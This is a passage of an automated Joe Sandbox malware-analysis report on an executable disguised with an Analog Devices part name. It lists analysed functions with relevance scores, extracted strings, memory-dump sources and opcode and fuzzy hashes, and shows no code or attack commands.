Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: d28ce6e36912f8e1a4b77c392d77eafa9370a906b8517ebcfe355023d1fd74b2
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 8A11BB75504280DFDB02CF10D5C4B15BBA1FB94314F24C6AAD84A4B696C33AD84ACB61

Function 00C1D731 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1744966377.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c1d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 655103f4afdab098f51fb0ba6dee73747e72656e2e831d094f765f1497ef0681
Instruction ID: baf36bb4e3094f1c90f354a5196b067ff6085bc4988b18279ff7ef1de8a06313
Opcode Fuzzy Hash: 655103f4afdab098f51fb0ba6dee73747e72656e2e831d094f765f1497ef0681
Instruction Fuzzy Hash: 1001A7710083449AE7108A26CDC47E7FFD8EF46325F18C569ED1A4A2DAC279D8C0D6F1

Function 00C1D730 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1744966377.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c1d000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30d83fd60b5ce411cc7dd83276c3b44f755a90e1c9b984f125d23fa878b7980e
Instruction ID: b6223fc03b9a80b13e5efc9bf9615ca6655efc86eedefc5b9516815131f5dc86
Opcode Fuzzy Hash: 30d83fd60b5ce411cc7dd83276c3b44f755a90e1c9b984f125d23fa878b7980e
Instruction Fuzzy Hash: C1F0C2720043449AE7108A16C8C4BA2FFE8EB91335F18C55AED094E286C2799880CAB0

Analysis Process: adsp-21593bbpz10 analog devices, inc. 5000.exe PID: 7860, Parent PID: 2120COMMON

Executed Functions

Function 01A1C147 Relevance: 6.5, Strings: 5, Instructions: 232COMMON

Download Yara Rule

Strings

PH^q, xrefs: 01A1C400
PH^q, xrefs: 01A1C3EF
0oAp, xrefs: 01A1C20A
LjAp, xrefs: 01A1C377
LjAp, xrefs: 01A1C38D

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 35a4a54ba9c97d513c84a703a9c4056475fa4502e2d7cc755e61cd9c117825fe
Instruction ID: 7ae9682f40acb30fad42858ac2c0be4fe40c10e112819bc2f8ed77b3aff6766b
Opcode Fuzzy Hash: 35a4a54ba9c97d513c84a703a9c4056475fa4502e2d7cc755e61cd9c117825fe
Instruction Fuzzy Hash: AFA1E575E40218DFDB14CFAAD984A9DFBF2BF89310F14806AE509AB369DB349941CF50

Function 01A1C468 Relevance: 6.4, Strings: 5, Instructions: 194COMMON

Download Yara Rule

Strings

PH^q, xrefs: 01A1C6D0
PH^q, xrefs: 01A1C6BF
0oAp, xrefs: 01A1C4DA
LjAp, xrefs: 01A1C65D
LjAp, xrefs: 01A1C647

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: b691ce39ffca7f778b900346c820795d8502ed607b41126da29ddc6b175b2c63
Instruction ID: 8dd2e635880d8ba29f4515e4688dc6492006e1da68f3773b67e4c2d07872408b
Opcode Fuzzy Hash: b691ce39ffca7f778b900346c820795d8502ed607b41126da29ddc6b175b2c63
Instruction Fuzzy Hash: D491E474E40258CFDB14CFAAD984A9DBBF2BF88310F14D069E419AB369DB349981CF50

Function 01A15362 Relevance: 6.4, Strings: 5, Instructions: 193COMMON

Download Yara Rule

Strings

PH^q, xrefs: 01A155C8
LjAp, xrefs: 01A15566
0oAp, xrefs: 01A153E2
LjAp, xrefs: 01A15550
PH^q, xrefs: 01A155D9

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 8e2059d2b928a893f43a8b7f5b89ef41a4801dfa042cb13203a73711e8df0543
Instruction ID: 0e6826c4e74d2817c5f8addc41e6df3c24df41da024f7d000d275f9eaca90e8e
Opcode Fuzzy Hash: 8e2059d2b928a893f43a8b7f5b89ef41a4801dfa042cb13203a73711e8df0543
Instruction Fuzzy Hash: 0891B574E00258CFDB14CFAAD984A9DBBF2BF89310F14D06AE419AB365DB349985CF50

Function 01A1D278 Relevance: 6.4, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

PH^q, xrefs: 01A1D4E0
LjAp, xrefs: 01A1D457
PH^q, xrefs: 01A1D4CF
0oAp, xrefs: 01A1D2EA
LjAp, xrefs: 01A1D46D

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 3d653187ec7383467fd0692044d800736612dd5d0619550bf482817a8c79ca9e
Instruction ID: 9190ba136c73e9ce36d38efeac6c30a69e165615bb311c6b615193f23b953500
Opcode Fuzzy Hash: 3d653187ec7383467fd0692044d800736612dd5d0619550bf482817a8c79ca9e
Instruction Fuzzy Hash: A181A574E00218CFDB14DFAAD984A9DBBF2BF89310F14D069E419AB369DB349985CF50

Function 01A1CA08 Relevance: 6.4, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

PH^q, xrefs: 01A1CC70
0oAp, xrefs: 01A1CA7A
LjAp, xrefs: 01A1CBE7
LjAp, xrefs: 01A1CBFD
PH^q, xrefs: 01A1CC5F

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: e70a465d94ebd052423b86513327b96aba4ada319338739c2da26aeae31fb46d
Instruction ID: 00bfe945adde4322e690a342a178d84e0b2dff57a07287e2b61c415cdc95b37c
Opcode Fuzzy Hash: e70a465d94ebd052423b86513327b96aba4ada319338739c2da26aeae31fb46d
Instruction Fuzzy Hash: DE81B474E44218DFDB14DFAAD984A9DBBF2BF88310F14C069E419AB369DB349981CF50

Function 01A1CCD8 Relevance: 6.4, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

PH^q, xrefs: 01A1CF40
LjAp, xrefs: 01A1CECD
LjAp, xrefs: 01A1CEB7
0oAp, xrefs: 01A1CD4A
PH^q, xrefs: 01A1CF2F

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 7f21de3437c097ed6e3e963283ce523405c3118d5adace96f13f4b68cc3410e6
Instruction ID: 1622f1e0b4c18bc10b47f803af6b05d09b350008454e38aae28e3a16da2d9192
Opcode Fuzzy Hash: 7f21de3437c097ed6e3e963283ce523405c3118d5adace96f13f4b68cc3410e6
Instruction Fuzzy Hash: 6481B574E40218DFDB14DFAAD984A9DBBF2BF88310F14C069E419AB369DB349985CF50

Function 01A1CFAB Relevance: 6.4, Strings: 5, Instructions: 183COMMON

Download Yara Rule

Strings

LjAp, xrefs: 01A1D19D
PH^q, xrefs: 01A1D1FF
LjAp, xrefs: 01A1D187
0oAp, xrefs: 01A1D01A
PH^q, xrefs: 01A1D210

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: b2acb83713aa0e906f521f125c05612fea4ff9d0d55664d706550f7c536c5c48
Instruction ID: 8b8e91268d49f4c8cb4cb5c43640bb571bc9565e68b8da384afefc3efb1bf838
Opcode Fuzzy Hash: b2acb83713aa0e906f521f125c05612fea4ff9d0d55664d706550f7c536c5c48
Instruction Fuzzy Hash: C281A474E00218CFDB14DFAAD984A9DBBF2BF88310F14D069E419AB369DB349985CF50

Function 01A1C738 Relevance: 6.4, Strings: 5, Instructions: 182COMMON

Download Yara Rule

Strings

LjAp, xrefs: 01A1C917
PH^q, xrefs: 01A1C9A0
PH^q, xrefs: 01A1C98F
0oAp, xrefs: 01A1C7AA
LjAp, xrefs: 01A1C92D

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: a9213fe9135845520f88c0f1ffa7e0942744bed42afe25369e3a234408902bcd
Instruction ID: ba7c916b6da08a8945639e9979fc2ef00f84f9a4cf5fab4b8b5bc3b16bb4e7bd
Opcode Fuzzy Hash: a9213fe9135845520f88c0f1ffa7e0942744bed42afe25369e3a234408902bcd
Instruction Fuzzy Hash: 8181A674E40218CFDB14DFAAD984A9DBBF2BF88310F14D069E819AB369DB349945CF50

Function 01A17118 Relevance: 5.3, Strings: 4, Instructions: 339COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01A17212
,bq, xrefs: 01A17298
(o^q, xrefs: 01A17220
,bq, xrefs: 01A1728A

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq
API String ID: 0-879173519
Opcode ID: 2daa97c859b827952ec22f2300117d06837621a50777942beffc8174d95fa1ca
Instruction ID: 8561775894eddff63aa5996021a0e5535ddd72183baa31e17d0a2b2bd515eb26
Opcode Fuzzy Hash: 2daa97c859b827952ec22f2300117d06837621a50777942beffc8174d95fa1ca
Instruction Fuzzy Hash: B0E13D30A00219DFDB15CFA9C984AADBFF2BF88310F599469E915AB369D730ED41CB50

Function 01A1A088 Relevance: 3.4, Strings: 2, Instructions: 887COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01A1A518
4'^q, xrefs: 01A1AB13

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 29792536fbf49d368806fd11319c6fbef335ce9f08341d5604d98c566bc05b55
Instruction ID: 8357f1789dc570a9dc0cb64107bc43de25f563e9968d7db60496d11f52b13170
Opcode Fuzzy Hash: 29792536fbf49d368806fd11319c6fbef335ce9f08341d5604d98c566bc05b55
Instruction Fuzzy Hash: 3D828F71A01249CFCB15CFA8C584AAEBBF2FF88310F158559E509DB26AD731ED81CB60

Function 01A169A0 Relevance: 3.0, Strings: 2, Instructions: 507COMMON

Download Yara Rule

Strings

Hbq, xrefs: 01A16DA6
(o^q, xrefs: 01A16EDA

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: 5f61808d9bbe75ced822c303c4bd4305ac29363ea9716ef4f2eca92f7f2f06be
Instruction ID: 78dcff8ea4d7614b281b39fac3ad68e6ae234a0ab8b8a6dcd2512f172d1eb198
Opcode Fuzzy Hash: 5f61808d9bbe75ced822c303c4bd4305ac29363ea9716ef4f2eca92f7f2f06be
Instruction Fuzzy Hash: 83128070A002198FDB18DF69C854AAEBBF6FF88300F148559E509DB399DF749D85CB90

Function 01A1E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f86d097ecc8c392a762d01af4abc9e65ec43572da70bed192362528831ce2d
Instruction ID: f0cab06f96319abd1d9d1db7b2f6ce95b4d918913095596588114121b1b90ab0
Opcode Fuzzy Hash: 39f86d097ecc8c392a762d01af4abc9e65ec43572da70bed192362528831ce2d
Instruction Fuzzy Hash: E9519474E00208DFDB19DFAAD584A9DBBB2FF88300F24C429E815AB368DB359945CF54

Function 01A1E97B Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3940d73ed8b16e16ab29241db8dfcd9cf03afca350288469fb5adf818ec2201c
Instruction ID: 899d097c7c10365795b561e8d13e3077a55f3ef7033e77a691d3a6da7d796a15
Opcode Fuzzy Hash: 3940d73ed8b16e16ab29241db8dfcd9cf03afca350288469fb5adf818ec2201c
Instruction Fuzzy Hash: EC51B775E00208DFDB19DFAAD584A9DBBB2FF88310F24C429E815AB368DB359945CF50

Function 01A176F1 Relevance: 10.5, Strings: 8, Instructions: 469COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01A17C0F
,bq, xrefs: 01A17BA0
(o^q, xrefs: 01A177E9
(o^q, xrefs: 01A17BFF
(o^q, xrefs: 01A17815
(o^q, xrefs: 01A178B2
(o^q, xrefs: 01A1772E
,bq, xrefs: 01A17B90

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 43fb1870d6e4146ce7388170aa0dcbe01d13c90a10b394b5367edd93a7131245
Instruction ID: ee0f94e0d8d0ecff10449acc6ae3fbd4e1fe1fc38f457efbf773fa80bd90885b
Opcode Fuzzy Hash: 43fb1870d6e4146ce7388170aa0dcbe01d13c90a10b394b5367edd93a7131245
Instruction Fuzzy Hash: F9125B30A002098FCB15CFA9D984AAEBBF2FF48314F149559E95A9B365DB30ED85CB50

Function 01A18490 Relevance: 3.2, Strings: 2, Instructions: 697COMMON

Download Yara Rule

Strings

$^q, xrefs: 01A18FD7
$^q, xrefs: 01A18FB4

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: e94674b41ad85542e761d90d94018c41b5fd1b1ab5fbd1da74cef4b1c61afcd2
Instruction ID: 71d591c7480e53a4d5d4747a0228242dbf15cedeca0757874dc872a68bcb8a2f
Opcode Fuzzy Hash: e94674b41ad85542e761d90d94018c41b5fd1b1ab5fbd1da74cef4b1c61afcd2
Instruction Fuzzy Hash: 46522174A00218CFEB14DBA4C954BAEBB76FF98300F1081A9D10A6B3A9CF359D85DF51

Function 01A15F38 Relevance: 2.8, Strings: 2, Instructions: 263COMMON

Download Yara Rule

Strings

Hbq, xrefs: 01A16056
Hbq, xrefs: 01A16023

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 8695789a5e45d76efd18d9d28bd7dfe2425ece6b80a4627fde3f58e233b5d3a5
Instruction ID: 7ac587726106a5f25af9e59e3a13dfedd304cbc9d4aaa397435c58e2b62c58be
Opcode Fuzzy Hash: 8695789a5e45d76efd18d9d28bd7dfe2425ece6b80a4627fde3f58e233b5d3a5
Instruction Fuzzy Hash: 1891A0307042558FDB19AF28D85876E7BB6BF89300F188469E94ACB399DF78CC41C791

Function 01A16498 Relevance: 2.7, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

,bq, xrefs: 01A1656E
,bq, xrefs: 01A16578

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 7cb041e8ebabc375d51bab04abbd626b67d3306f19bb4c0b167a3fc07ef7c0ac
Instruction ID: 9b800877a382f96f0315ca2a5e68bbbf86e468c68d94743c1bcbff6e16b65db7
Opcode Fuzzy Hash: 7cb041e8ebabc375d51bab04abbd626b67d3306f19bb4c0b167a3fc07ef7c0ac
Instruction Fuzzy Hash: D981AF34A00505CFCB18CF6DC98896ABBF6FF89310B158969D519DB369DBB1E841CB60

Function 01A19C30 Relevance: 2.6, Strings: 2, Instructions: 147COMMON

Download Yara Rule

Strings

4'^q, xrefs: 01A19D84
4'^q, xrefs: 01A19D6D

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 090d9c17874bd856bbc54530411a15a855ddaf04884ea54a02aac1d3bda1b1df
Instruction ID: 3c560a6b9a03a66833a623ada5a63adf1a5ca3d034940874ecf82311245b4c90
Opcode Fuzzy Hash: 090d9c17874bd856bbc54530411a15a855ddaf04884ea54a02aac1d3bda1b1df
Instruction Fuzzy Hash: 9A519C307002059FDB05DF69C854B6BBBEAEB88318F448466E949CB259EB71CD46CBA1

Function 01A1AEBB Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

(o^q, xrefs: 01A1B079
(o^q, xrefs: 01A1AECD

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: (o^q$(o^q
API String ID: 0-1946778100
Opcode ID: 48f919dca903818f79944a18cba8bb0066ac2ef0c69c04a554cea7663cf1cbbb
Instruction ID: 5bd6cee8f5e1a74b734ec5680027cb1bef6e2ec006b4bcb85222d44c76f62dd4
Opcode Fuzzy Hash: 48f919dca903818f79944a18cba8bb0066ac2ef0c69c04a554cea7663cf1cbbb
Instruction Fuzzy Hash: 7431DD727002448FCB09AB69D81476EBBF6BF8C611F18446AE506DB398DF358C41CBA4

Function 01A13CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xbq, xrefs: 01A13CF6
Xbq, xrefs: 01A13CCD

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: bf4cb87042fca496906078ca0e2a11ef1cf8e382fb709744bcd7bc4d86257b14
Instruction ID: 46e102026b0a090c673407e79c8f7d67416932b672041c3343eee36a627a5bc3
Opcode Fuzzy Hash: bf4cb87042fca496906078ca0e2a11ef1cf8e382fb709744bcd7bc4d86257b14
Instruction Fuzzy Hash: 9231D5357042248BEF184F7E899427EA9AABFC4321F58483AD906D739CDF75CC4987A1

Function 01A10C8F Relevance: 1.8, Strings: 1, Instructions: 542COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01A10F19

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: ed8ab8ab3c23f58c073c2df1bca69622a77a1c6e00a77fd6ec39fbb78ddeade8
Instruction ID: afb0093f8cd173bb8f499bca6a48e0e6df88d1d7fa665097785238ac8c6da29f
Opcode Fuzzy Hash: ed8ab8ab3c23f58c073c2df1bca69622a77a1c6e00a77fd6ec39fbb78ddeade8
Instruction Fuzzy Hash: 8B520D74D40219CFCB54DF64E984AAEBBB6FB4D301F1091A9D809A7368DB346E95CF80

Function 01A10CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR^q, xrefs: 01A10F19

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 24ee1a06c81f740fc9d2345d426a8c825575839ee5dc07688c0b01cf2698ac36
Instruction ID: 27bccbea314797d0ccbd4030070b9586d663692d309723faebbee994f12f90ba
Opcode Fuzzy Hash: 24ee1a06c81f740fc9d2345d426a8c825575839ee5dc07688c0b01cf2698ac36
Instruction Fuzzy Hash: 86520C74D40219CFCB54DF64E984AAEBBB6FB4D301F1091A9D809A7368DB346E95CF80

Function 01A1E007 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bdd7547b0b6ef9bf835787cfbf41e9c374a9e86ee325c88eafffa29edae789f
Instruction ID: bcb9a89f5c93c9c21efd17d8c7b28d3a704a0e69d02cb07d8cae51f24d10eaa9
Opcode Fuzzy Hash: 8bdd7547b0b6ef9bf835787cfbf41e9c374a9e86ee325c88eafffa29edae789f
Instruction Fuzzy Hash: A412A634021242EFE658BB60E6AC12ABB65FB0F763704BC56E04FC50589B7154DACFB2

Function 01A1E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 214502c6386b1545237cfce295599a0ea61fb926e83f34734060f11d291ed694
Instruction ID: 9934800e3ff1fadb0412f63c2a580e582065f80807b11c80ac355d1b3f0307be
Opcode Fuzzy Hash: 214502c6386b1545237cfce295599a0ea61fb926e83f34734060f11d291ed694
Instruction Fuzzy Hash: A1129534021242EFE658BB60E6AC12ABB65FB0F763704BC52E14FC545C9B7154DACBB2

Function 01A19A10 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3660af5b95f037c02109731acb8a46d3c9063e8fbd12fa876f9631572dd5b63d
Instruction ID: b25980750e3bcc3ab1ccf2b2441292fea7dba33edbc19214a99f767d70b95b34
Opcode Fuzzy Hash: 3660af5b95f037c02109731acb8a46d3c9063e8fbd12fa876f9631572dd5b63d
Instruction Fuzzy Hash: 948133319006058FCB10CF2CD8945ABBBB6FF84328F55C666D9289B359D731E856CBA1

Function 01A180D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf416ecd3f1e32b00b774f28072408173aca05697abe9804f89644ed7b68dd5
Instruction ID: 74f6840f147953f6c4b60e80dd1d6cba2d35405c767e84002a37344e56a67aca
Opcode Fuzzy Hash: ccf416ecd3f1e32b00b774f28072408173aca05697abe9804f89644ed7b68dd5
Instruction Fuzzy Hash: B4714A347006058FDB16DF6CC888AAE7BF6BF89240B1901A9E915DB379DB78DC41CB51

Function 01A1F3F1 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d57e94ccfae4a7c583c8d36ada33e41b703ac9aae3939a3eca71bd4546eff767
Instruction ID: 4f4793dfe2e9b6a45f618d9c9d9e67956d985d033e78c3cd22ac4e640e9bf5b3
Opcode Fuzzy Hash: d57e94ccfae4a7c583c8d36ada33e41b703ac9aae3939a3eca71bd4546eff767
Instruction Fuzzy Hash: 79510274D01318DFEB14DFA4D954AADBBB2FF88305F208529D809AB358DB35598ACF41

Function 01A1D548 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a571c5a530571640828bef597c74cb804dab15aa4ff10a41ed5d9509f34e45f3
Instruction ID: 6f393c4bcc075389a81359341cf67cbdb6df76404c0787cbf5d638bf86925578
Opcode Fuzzy Hash: a571c5a530571640828bef597c74cb804dab15aa4ff10a41ed5d9509f34e45f3
Instruction Fuzzy Hash: A8519474E01218DFDB54DFA9D58499DBBF2FF89310F248169E819AB364DB30A901CF50

Function 01A141A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.2942602417.0000000001A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_1a10000_adsp-21593bbpz10 analog devices, inc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6553f61f53c264ef15351b5dc57c96c8cb57c63d9e89183b20dad4e419b64671
Instruction ID: 76696318044e3bd872a04c49ad6fbe27ff311797b97cea688eee59789c41e9e5
